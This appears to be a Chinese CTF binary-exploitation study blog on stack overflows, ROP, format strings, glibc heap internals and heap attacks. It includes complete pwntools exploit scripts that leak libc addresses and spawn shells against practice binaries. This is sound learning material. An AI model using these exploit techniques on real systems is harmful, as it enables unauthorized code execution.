         # pop rbx,rbp,r12,r13,r14,r15
         # rbx should be 0,
         # rbp should be 1,enable not to jump
         # r12 should be the function we want to call
         # rdi=edi=r15d
         # rsi=r14
         # rdx=r13
         payload = 'a' * 0x80 + fakeebp
         payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
             r13) + p64(r14) + p64(r15)
         payload += p64(csu_front_addr)
         payload += 'a' * 0x38
         payload += p64(last)
         sh.send(payload)
         sleep(1)


      sh.recvuntil('Hello, World ')
      ## RDI, RSI, RDX, RCX, R8, R9, more on the stack
      ## write(1,write_got,8)
      csu(0, 1, write_got, 8, write_got, 1, main_addr)

      write_addr = u64(sh.recv(8))
      libc = LibcSearcher('write', write_addr)
      libc_base = write_addr - libc.dump('write')
      execve_addr = libc_base + libc.dump('execve')
      log.success('execve_addr ' + hex(execve_addr))
      ##gdb.attach(sh)

      ## read(0,bss_base,16)
      ## read execve_addr and /bin/shx00
      sh.recvuntil('Hello, World ')
      #rbx=0,rbp=1 => rbx=rbp-1;
      #0 => r15 => edi
      #bss_base => r14 => rsi
      #16 => r13 => rdx
      #read_got => retadress
      csu(0, 1, read_got, 16, bss_base, 0, main_addr)
      sh.send(p64(execve_addr) + '/bin/shx00')

      sh.recvuntil('Hello, World ')
      ## execve(bss_base+8)
      csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
      sh.interactive()

       

    花式栈溢出

    smashes

    1. 知识点:canary的保护机制

      当不存在canary时,多溢出数据会造成segment fault

      当存在canary时,会有stack_chk_fail函数监测到,会显示stack smashing detected

      image-20210810135913460

    2. 例:smashes:

      场景条件:在低版本的libc中,程序的canary报错会打印程序的路径名,该路径名是一环境变量,此时我们只需将该环境变量栈溢出覆盖成flag地址,那么报错提示就会打印flag

    栈迁移

    1. 原理:用 gadget改变 esp 的值,跳转到精心构造的栈位置处

    2. 应用场景:

      • 栈溢出长度不足以使用直接 ROP

      • 栈溢出 payload 会出现空字符截断,且gadget地址含有空字符

      • 在泄露地址信息后需要新的 ROP payload

    格式化字符串

    1. 原理:printf函数的参数没有一一对应

      如:printf("%s%s%s");

      此时便会自动以栈上ebp上两个单位的地方为参数打印,实现栈内容泄露

    2. 知识点

      • 字符串都是以地址进行访问:即传的参数是指向该字符串的地址

        printf("%p","hello world");

        printf("%s","hello world");

      • printf的参数种类

        %s:字符串打印

        %p:地址打印,一般对应指针

        %x:

        %g:

        image-20210814153421447

        如果有大量的参数空间如何解决:

        printf("%3$d",a,b,c);//打印c
        //控制打印第n+1个参数,why is n+1?
        //因为第一个参数为格式化字符串
        printf("%20c",c);//打印20个字符,空闲用空格代替

        //n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
        //如:%100x%10$n表示将0x64写入第11个参数处的指针所指向的地址(4字节)
        printf("%20c%n",a,c);//向c中写入20
        //一次%n写入以4字节为单位,使用%hn代表2字节,%hhn代表1字节
      • 如何寻找是第几个参数:

        1. 与普通函数传参相同,32位程序参数在ebp向上两单位开始,64位程序前6个参数在寄存器中

        2. 以格式化字符串结尾为起点为第一个参数,依次往后计数:因为格式化字符串可能占多个字节

          有时会有两个相同的格式化字符串,这时以末尾的开始计数

      • 栈内容分析

        image-20210818164735817

      • 如何覆盖大数字和小数字

        小数字:

        • 如:需要写入空间为2,但任意地址都至少有4位

          如何解决:

          将地址移到%n后方也无妨

          如ctfwiki的例子

          payload='aa%8$naa' + p32(a_addr)

          注意:此时根据格式化字符串的长度会影响修改地址是第几个参数,此处格式化字符串(aa%8$naa)开始为第6个参数的话,它占2字节,那么地址就是第8个参数

    3. 实例

      • image-20210815225230992

    1. 原理:malloc动态申请的空间就在堆中

    2. 申请堆内存的系统调用:

      • mmap

      • brk

        brk申请的原理为:

        初始时,堆的起始地址 start_brk 以及堆的当前末尾 brk 指向同一地址。根据是否开启 ASLR,两者的具体位置会有所不同

        • 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。

        • 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处

        image-20210829153826766

    arena

    1. 定义:虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。我们称这一块连续的内存区域为 arena

      此外,我们称由主线程申请的内存为 main_arena。后续的申请的内存会一直从这个 arena 中获取,直到空间不足。当 arena 空间不足时,它可以通过增加 brk 的方式来增加堆的空间。类似地,arena 也可以通过减小 brk 来缩小自己的空间。

    2. 理解:堆管理器存在与操作系统和用户之间,操作系统持有物理内存,堆管理器把物理内存批发到虚拟空间中(有多余),自己管理起来,所管理的结构就称为arena,一个进程可以有多个arena,因为可以有多个线程

      image-20210819123835443

      测试代码:

      image-20210821123908468

      查看虚拟内存vmmap指令:

      image-20210821123841819

      发现堆空间有多余

      发现地址低3位都为0:因为操作系统的分页管理,4KB为1页占12位

    3. 知识点

      • malloc函数:从堆管理器申请一段空间,堆管理器从arena中为其分配空间,分配到的空间称为chunk

      • chunk:用户申请内存的单位,也是堆管理器管理内存的最基本单位 malloc()返回的指针指向一个chunk的数据区域

    堆的数据结构

    详情可见ctfwiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/

    • free chunk:将chunk归还到堆管理器中,这样可以减少系统调用次数,减少系统开销

      • fastbin free chunk:

        image-20210821110932921

      • smallbin free chunk && unsortedbin free chunk:

        image-20210821110650448

      • largebin free chunk:

        image-20210821110905308

      • last remainder chunk

        类似分页管理的外碎片,分配多余的空间搞成新的小chunk

      • topchunk:一次申请空间会得到多余的空间,使用剩下的空间作为topchunk

    • freechunk合并

      image-20210820200345585

      size:当前chunk的大小

      prv_size:上一个chunk大小

      由于size最低3字节一定为0,所以省略用作记录信息

      P:代表了上一个相邻的chunk是否为freechunk

    • 实验测试

      1. image-20210821131459626

        最小的chunk占0x20bit

    prev_size的复用

    1. malloc的空间不包括管理信息部分,如:申请0x100空间实际占有0x102空间,有2字节的管理信息

    2. 向堆中写入数据:从低地址到高地址(与栈相反)

      image-20210821132651322

    3. 查看已分配chunk:

      heap

      image-20210821133353516

      为何size为0x111:申请0x100空间,管理信息0x10空间,size最低位P为1:0x110+1=0x111

      image-20210821134133233

      间接验证malloc参数不包含管理信息部分

    4. prev_size复用:

      假如在申请并回收0x20空间后,再次申请0x28空间,堆会如何分配

      image-20210821135617016

      由于prev_size信息无效了,此时会覆盖掉下一个chunk的prev_size,称为prev_size的复用,相当于申请0xn0和0xn8得到的空间是相同的

    5. 由于知道当前chunk的prev_size就可以知道上一个chunk的起始位置,这种称为物理链表

    bin

    1. 什么是bin:类似回收站,存储free chunk

      struct malloc_state {
          /* Serialize access.  */
          __libc_lock_define(, mutex);    /* Flags (formerly in max_fast).  */
          int flags;    /* Fastbins */
         
         
          mfastbinptr fastbinsY[ NFASTBINS ];    /* Base of the topmost chunk -- not otherwise kept in a bin */
         
         //fastbin
          mchunkptr top;    /* The remainder from the most recent split of a small request */
          mchunkptr last_remainder;    /* Normal bins packed as described above */
         
         
         
          mchunkptr bins[ NBINS 2 ];    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
         /*
         bins[1]:unsortedbin
         bin[2~63]:smallbin
         bin[64~126]:largebin
         */
         
         
          unsigned int binmap[ BINMAPSIZE ];    /* Linked list, points to the next arena */
          struct malloc_state *next;    /* Linked list for free arenas.  Access to this field is serialized
             by free_list_lock in arena.c.  */
          struct malloc_state *next_free;    /* Number of threads attached to this arena.  0 if the arena is on
             the free list.  Access to this field is serialized by
             free_list_lock in arena.c.  */
          INTERNAL_SIZE_T attached_threads;    /* Memory allocated from the system in this arena.  */
          INTERNAL_SIZE_T system_mem;
          INTERNAL_SIZE_T max_system_mem;
      };
    2. 原理:

      • fastbin

        image-20210821162442336

        image-20210822122058623

        注意:

        1. 思考:fd不算管理信息,也能写入数据被覆盖?

        2. fd指向chunk头,而不是可写数据地址开始

        3. fastbin的下一个chunk的P信号一定为1,保证fastbin不会被合并,这样才fast

      • bin的双向链表(循环双向链队):适用于:unsortedbin、smallbin、largebin(更复杂)

        1. unsorted新增管理信息bk指向前一个chunk,最后一个bk指向头指针

          image-20210822121935021

          image-20210822122217891

        2. smallbin就是由多个不同大小的unsortedbin,每个bin的大小固定

          image-20210822122243112

          image-20210822122255993

        3. largebin:每个bin大小为范围,由于大小不定,所以新增两字节记录下一个chunk的大小

          image-20210822122312948

          image-20210822122322490

      • 寻找bin:

        1. 大小大于fastbin的范围,首先遍历unsortedbin,查找是否有满足大小的chunk,并且将相邻的freechunk合并,并分类到对应空间大小的bin中,如果没有找到再遍历small/largebin寻找

        2. 由于xxxbin类似队列处理(先进先出),所以使用双向链表加快处理速度

    流程总结

    1. 最初malloc申请空间

      image-20210822170904812

    2. 过程malloc申请空间

      image-20210822171820124

    堆溢出-寻找堆分配函数

    malloc

    1. malloc的参数:用户申请的字节一旦进入申请内存函数中就变成了无符号整数,但整数溢出的存在使其负数依然能的到负数结果

    calloc

    1. calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的

    2. calloc(0x20);
      //等同于
      ptr=malloc(0x20);
      memset(ptr,0,0x20);

    realloc

    • 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时

      • 如果申请 size > 原来 size

        • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小

        • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)

      • 如果申请 size < 原来 size

        • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变

        • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分

    • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)

    • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

    存在危险的函数

    常见的危险函数如下

    • 输入

      • gets,直接读取一行,忽略 'x00'

      • scanf

      • vscanf

    • 输出

      • sprintf

    • 字符串

      • strcpy,字符串复制,遇到 'x00' 停止

      • strcat,字符串拼接,遇到 'x00' 停止

      • bcopy

    堆的填充长度

    一个常见的误区是 malloc 的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。

    例:

    64位系统:malloc(24)

    控制信息:16字节

    用户需要空间:24字节

    实际申请空间:32字节(对齐)

    利用下一个chunk的prev_size信息补全8字节空缺

    漏洞

    use after free(释放重用攻击)

    1. 原理:在大空间free后,malloc稍微较小空间可以取到该块数据且可修改这部分数据。

    2. 产生原因:free掉空间后没有将指针置为NULL,造成仍然指向原位置

    3. 攻击效果:使得两个指针指向同一chunk,并且一个指针可写内容,一个可执行内容:

    4. 例题:例8

    double free

    1. 原理:free了两次同一空间

      free(a)

      free(b)

      free(a)

      //绕过fastbin的检测:检测bin相邻两个chunk是否相同

      //只需中间free一个不同的chunk

      类似,malloc申请到相同空间,可同时修改这部分同一数据,实现权限低的指针可以获得权限高的指针的权限

    2. 攻击:

      • fastbin attak攻击栈:

        构造好doublefree的fastbin,释放后两个fastbin

        如:void *d=malloc(16)

        malloc(16)

        此时d指向原a数据,fastbin中仍存在一个a数据区

        修改d的第一项数据为任意栈地址,fastbin中会认为其为fd指针

        所以此时fastbin链上会多一个栈的“chunk”,若malloc到该区域

        既可以实现向栈写入任意数据

        注意:修改的fd指针应为需要修改地址向上两单位(除去管理信息:prev_size&size)

    unsortedbin

    1. 实现向某一空间写入大数

    2. 原理:由于FIFO机制,首先归还第一个freechunk时,指针bk和fd的值会赋给bin头指针,此时若freechunk指向栈,那么就相当于其连接了栈的地址

    house_of_force

    漏洞的组合利用

    1. 堆溢出

      1. 填入垃圾数据,并将topchunk的size修改为0xffffffff

      2. 此时即可malloc到虚拟内存任意空间

    2. malloc的整数溢出

      1. malloc的参数为负数,相当于向topchunk下方溢出,可修改data段数据

        原理:大数相加溢出变成比二者都小的数

    例题

    例1(ret2text)

    1. checksec检测保护机制

    2. 放入ida观察他的c代码,发现有gets函数,有system("binash");的shell指令调用函数

    3. 使用gets构造垃圾数据:16字节填充当前函数栈,4字节覆盖栈保存的ebp,4字节修改返回地址

      如何知道当前变量偏移(需覆盖的数据量):

      • ida一般会给当前变量相对ebp的偏移(16进制)

      • 动态调试(pwndbg中):执行到对应漏洞函数时,输入stack查看栈,可以看到准确的esp,ebp信息

      image-20210715140127465

      如何知道要跳转到函数的地址:

      • 在IDA中找到函数对应汇编指令,其开头就是其函数起始地址

      image-20210714221441390

    4. 覆盖地址修改为system调用函数地址即可实现获得shell控制权

    5. 开始写脚本:

      • 首先导入pwn包

        from pwn import *

      • 运行本地程序

        io = process("./ret2text")

        可以观察程序情况

        io

      • 接收一行字符串(主函数的输出字符串)

        io.recvline()

      • 构造payload

        payload=b'A'*16+b'BBBB'+p32(0x8048522)

      • 发送消息

        io.sendline(payload)

      • 交互

        io.interactive()

      • 得到shell

    例2(ret2shellcode)

    1. checksec检测保护机制

      NX关闭

      没有canary

      但默认ASLR(地址随机化,会影响栈)是打开的,所以不能写到堆栈区

    2. image-20210716101429261

      发现位置变量buf2,双击发现在bss段,可以写入该段,且该地址为0x804a080

    3. 计算覆盖范围

      image-20210718154610026

      0xf8-0x8c=108

      108+4=112

    4. 构造机器码的系统调用(获取shell)

      buf=0x804a080

      payload=asm(shellcraft.sh()).ljust(112,b'A') #表示从机器码后方添加垃圾数据直到总长112字节

      image-20210716102406475

      构造最终payload

      payload+=p32(buf)

    5. 发送获取shell

      io=process("./xxx")

      io.recvline()

      io.sendline(payload)

      io.interactive()

    例3(ret2stack)

    1. 64位程序首先说明

      context.arch="amd64"

    2. 计算覆盖区域

      image-20210718151017772

      0xf50-0xee0=112

      112+8=120

    3. 查看应该覆盖的返回地址:

      应该为printf输出的地址,详情见 缓冲区溢出/例3

      image-20210718152712110

      但实际运行python时的地址为

      image-20210718152800619

      最终测试以运行python时的地址为准

    4. 构造payload

      shell=asm(shellcraft.sh())

      buf=0x7fffffffdf60

      payload=shell.ljust(120,b'A')+p64(buf)

    5. 最终exp

      from pwn import *
      context.arch="amd64"
      io=process("./ret2stack")
      #io.recvline()
      buf=0x7fffffffdf60
      shellcode=asm(shellcraft.sh())
      payload=shellcode.ljust(120,b'A')+p64(buf)
      io.sendline(payload)
      io.interactive()

    例4(ret2systemcall)

    1. 画图理解栈溢出需要的内容

      image-20210718204850801

      相当于执行了一条execve指令

    2. 寻找需要的数据

      • "/bin/bash"地址

        在IDA中使用字符串搜索shift+F12

        再ctrl+F进行搜索

      • pop &ret地址

        使用ROPgadget寻找

        ROPgadget --binary rop --only "pop|ret" |grep eax

        ......

        • pop eax

          ret

        • pop edx

          pop ecx

          pop ebx

          ret

      • int 80地址

        ROPgadget --binary XXX --only "int"

    3. 使用flat函数构造payload

      flat():将括号中的数据自动构造成字节型数据并且自动填充为字节

      payload=flat([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin_bash,int_80])
    4. 最终exp

      from pwn import *
      io = process("./rop")
      io.recvline()
      eax=0x80bb196
      edx_ecx_ebx=0x806eb90
      bin_bash=0x80BE408
      int_80=0x8049421
      payload=flat([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin_bash,int_80])
      io.sendline(payload)
      io.interactive()

    例5 (ret2libc1)

    1. 寻找需要的数据

      • IDA中寻找plt标记的system地址

        image-20210726205005250

      • 覆盖需要字节数

        动态调试时输入16*'A',查看其起始位置,与ebp相减得到覆盖字节数

        image-20210726202621039

        即0xffffd118-0xffffd0ac+4(覆盖32位程序previous ebp)=112

      • 覆盖时栈中的类容

        • 参数位置(根据自己ebp向上2单位寻找参数)

      • bin/bash位置

    2. 根据动态链接调用过程,构建payload

      动态链接查看杂学中的动态链接与返回导向编程的ret2libc的知识点

    3. exp

      from pwn import *
      io =process("./ret2libc1")
      system_plt=0x8048460
      bin_bash=0x8048720
      payload=b'A'*112+p32(system_plt)+b'A'*4+p32(bin_bash)
      io.sendline(payload)
      io.interactive()

      注意:跳转到plt位置直接就自动跳转到system函数开始执行

    4. 小技巧

      • 通过pwntools来查找plt中system标记(注意中括号)

        image-20210726204350001

      • 使用linux自带strings来寻找文件是否存在/bin/sh

        image-20210726204629457

    例6(ret2libc2)

    1. 使用IDA打开查看程序

      • 存在system函数

      • 没有/bin/sh

      • 存在全局变量buf2在bss节(地址固定)

      注:条件3很重要,是该题的考点

      image-20210727155208127

    2. 计算覆盖范围

      108+4=112

    3. 使用自带gets函数向buf2中写入bin/sh

      • 如何写入???

        首先自己的思路:查看gets的汇编代码,部分修改其汇编代码(指针指向的参数)来达到向buf2写入的效果

        错误:参数在ebp高2单位处

         

        然后再次的思路:直接跳转到函数自带的gets处

        错误:参数不同

        最后正确思路:跳转到plt中的gets,参数为ebp向上两单位

    4. 构造payload

    5. 构造exp

      from pwn import *
      io = process("./ret2libc2")
      buf2=0x804a080
      gets_plt=0x8048460
      system_plt=0x8048490
      payload=b'A'*112+p32(gets_plt)+p32(system_plt)+p32(buf2)+p32(buf2)
      io.sendline(payload)
      io.sendline(b'/bin/sh')
      io.interactive()

      注意:在发送payload之后,需要以用户输入的数据写入buf2,此时就应写入"bin/sh"

      发送b'/bin/sh'或者"/bin/sh"都可以

      最好写成b'/bin/shx0'

    6. 总结

      image-20210727164716852

    7. 学到的新知识

      • elf.symbols["xxx"]

        xxx指代符号,返回符号的地址

      • 特定情况如何自己写入/bin/sh

    例7(ret2libc3)

    1. 与视频教学题目不同,此题为ctfwiki的ret2libc3

    2. 动态调试查看偏移量

      108+4=112

    3. 寻找system("/bin/sh")

      • 两个都没有,想如何替代

        1. bss段存在全局变量buf2,可写入/bin/sh

          使用libc中自带的/bin/sh,也是计算偏移量

        2. 通过libc.so文件函数之间偏移量固定,获取system与puts的偏移量

      • 如何构造ROP链

      首先注意:

      • 因为ASLR的存在,只有程序本身运行时输出的偏移地址是运行时的地址,叫做地址泄露

      • 在固定的libc版本中:两个函数之间的偏移量一定不变,即任意两函数之间字节数相同

    4. 真实地址=libc基址+偏移(以puts在本地libc中例)

      • 查看本机libc版本

        image-20210810113926541

      • 首先获得函数在libc中偏移

        #首先获得puts在本地libc偏移
        #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #该地址为软链接(快捷方式)
        libc=ELF("/lib/i386-linux-gnu/libc-2.31.so")  #实际文件
        puts_offset=libc.symbols["puts"]

        另一种方法在sh中

        readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "IO_puts"

        两种方法获得地址相同即可验证

      • 地址泄露获取运行时地址

        #构造ROP链
        payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
        puts_addr=u32(p.recv(4))

        解释:首先溢出使得返回到puts函数,函数的参数为其ebp向上2单位,这里为puts在got表中值,即puts在libc中的实际地址,此时程序会输出其真实地址,接收即可

        注意:

        • 需要返回主函数开始处,因为此次只是地址泄露,下次才能完全获取到权限

        • 接收到的数据:为底层的acsii编码,通过u32函数转化成10进制数

          接收到的数据为:b'`4xdcxf7'

          u32()后:4158403680

      • 计算获取libc基地址

        libcbase=puts_addr-puts_offset
      • 计算system真实地址

        sys_offset=libc.symbols["system"]
        sys_addr=sys_offset+libcbase

      libc中同样存在/bin/sh,同理获得

      注意:需要使用next(ELF.search["/bin/sh"])才能寻找libc中的字符串,而不能单纯用symbols

    5. 构造payload获取shell

    6. 攻击代码

      from pwn import *
      from LibcSearcher import *
      elf=ELF('./ret2libc3')
      libc=ELF("/lib/i386-linux-gnu/libc.so.6")
      p=process('./ret2libc3')
      puts_plt=elf.plt['puts']
      puts_got=elf.got['puts']
      start_addr = elf.symbols['_start']
      #gdb.attach(p)

      payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
      p.sendlineafter(b"!?",payload1)
      puts_addr=u32(p.recv(4))
      sys_offset=libc.symbols["system"]
      #sys_offset=0x45040
      puts_offset=libc.symbols["puts"]
      #puts_offset=0x70460
      sh_offset=0x18c338
      libcbase=puts_addr-puts_offset
      system_addr=libcbase+sys_offset
      binsh_addr=libcbase+sh_offset
      #payload2=b'A'*112+p32(system_addr)+p32("deadbeef")+p32(binsh_addr)
      payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
      #py3要求p32中为数字
      p.sendlineafter(b"!?",payload2)
      p.interactive()
    7. 学习到的知识(总结)

      • ldd命令,查看当前程序依赖的libc,可以在根目录中找到,在此题中很有用

      • 一些python的命令

        elf.symbols["xxx"]

        elf.plt["xxx"]

        elf.got["xxx"]

      • 一些有用的shell命令

        readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"

        strings /lib/i386-linux-gnu/libc.so.6 -tx| grep "/bin/sh"

        二者效果相近,但/bin/sh只能用strings找到,加上tx显示16进制地址,system函数用readelf才能找到

      • 地址泄露:寻找libc中真实地址

    例8(hacknote)

    1. 分析程序,修改函数名(IDA反编译的c代码可能有错,但能猜个大概)

      小技巧:根据程序执行可加速理解程序

      image-20210827161444554

    2. 寻找漏洞:

      在add中有malloc申请8byte的chunk,然后该chunk第一4字节存的函数地址,可执行函数;剩余空间有malloc了size大小的空间,并且可向其中写入任意数据

       

      在delete时free函数没有将指针置空

      1. image-20210827171034668

      2. image-20210827171128054

      存在UAF漏洞

    3. 如何利用:

      1. 首先申请2个chunk,其size设置成不同与8

        image-20210827211102089

      2. 再将两个都free掉,到fastbin中去

        image-20210827211336216

      3. 再malloc8空间的chunk,会从fastbin中拿到8空间大小的chunk,该部分可被修改为任意数据

        image-20210827232959961

    4. exp

      from pwn import *
      io=process("./hacknote")
      elf=ELF("hacknote")
      libc=ELF("/lib/i386-linux-gnu/libc-2.31.so")
      system_offset=libc.symbols["system"]
      put_offset=libc.symbols["puts"]

      def add_note(size,content):
         io.recvuntil(b"Your choice :")
         io.sendline(b'1')
         io.recvuntil(b"Note size :")
         io.sendline(size)
         io.recvuntil(b"Content :")
         io.sendline(content)

      def delete_note(index):
         io.recvuntil(b"Your choice :")
         io.sendline(b'2')
         io.recvuntil(b"Index :")
         io.sendline(index)

      def print_note(index):
         io.recvuntil(b"Your choice :")
         io.sendline(b'3')
         io.recvuntil(b"Index :")
         io.sendline(str(index).encode())

      add_note(b'16',b'A'*16)
      add_note(b'16',b'A'*16)
      delete_note(b'0')
      delete_note(b'1')
      #put_plt=elf.plt["puts"]
      put_got=elf.got["puts"]
      #add_note(b'8',p32(put_plt)+p32(put_got))
      add_note(b'8',p32(0x804862b)+p32(put_got))
      #why add "put_plt"?
      #why use self_put
      print_note(0)
      put_addr=u32(io.recv(4))
      libbase=put_addr-put_offset
      system_addr=libbase+system_offset
      delete_note(b'2')
      add_note(b'8',p32(system_addr)+b"||sh")
      print_note(0)
      io.interactive()
    5. 注意:

      1. str函数:将对象转化为字符串型,如:'A'

        str().encode():将对象转化成数据流型,如:b'A'

      2. 泄露libbase为什么需要两段地址:p32(0x804862b)+p32(put_got)

        因为写入的信息分为两段:

        第一段为执行的函数地址

        第二段为函数的参数

        如:调用put函数,参数为got@put

      3. 2中为什么不使用plt@put

        未知

    记载一些遇到的错误

    1. 管道破裂

      image-20210718155258185

      • 原因:覆盖的返回地址写错了

        image-20210718155333402

      • 首先排除地址随机化:ASLR、NX、PIE

      • 可python运行的地址为0x7fffffffdf60

        image-20210718155503418

      • 修改后正确返回shell

      新问题:此类题如何寻找写入的实际地址???

    2. 如何查看单条汇编指令产生变化

      检测eip变化,栈溢出是否成功

    3. 哪些节位置位置是否固定

      • plt、got、got.plt节写死在ELF文件中,从IDA即可观察到其位置

      • 动态链接库:如果打开ASLR则每次运行位置不固定,没开ASLR则固定,但其中函数的之间的相对偏移量一定固定(不受任何保护措施影响)

      • 堆栈段:位置肯定不变,但有NX使其无法执行指令

      • bss:PIE开着位置不固定,没有PIE则位置固定

    https://cdn.jsdelivr.net/gh/YYL-DUCK/wordpress@Images/data/image-20210923210340210.png

  • 相关阅读:
    HttpContext请求上下文对象
    HttpRuntime类
    HttpServerUtility类
    【POJ3614】Sunscreen
    【poj1995】Raising Modulo Numbers
    【poj3263】Tallest Cow(差分数组)
    【HNOI2003】【BZOJ1218】激光炸弹
    STL入门基础【OI缩水版】
    【TJOI2016】【bzoj4552】排序(二分答案+线段树01排序)
    【POJ3784】Running Median(中位数,对顶堆)
  • 原文地址:https://www.cnblogs.com/yylblog/p/15327741.html
Copyright © 2011-2022 走看看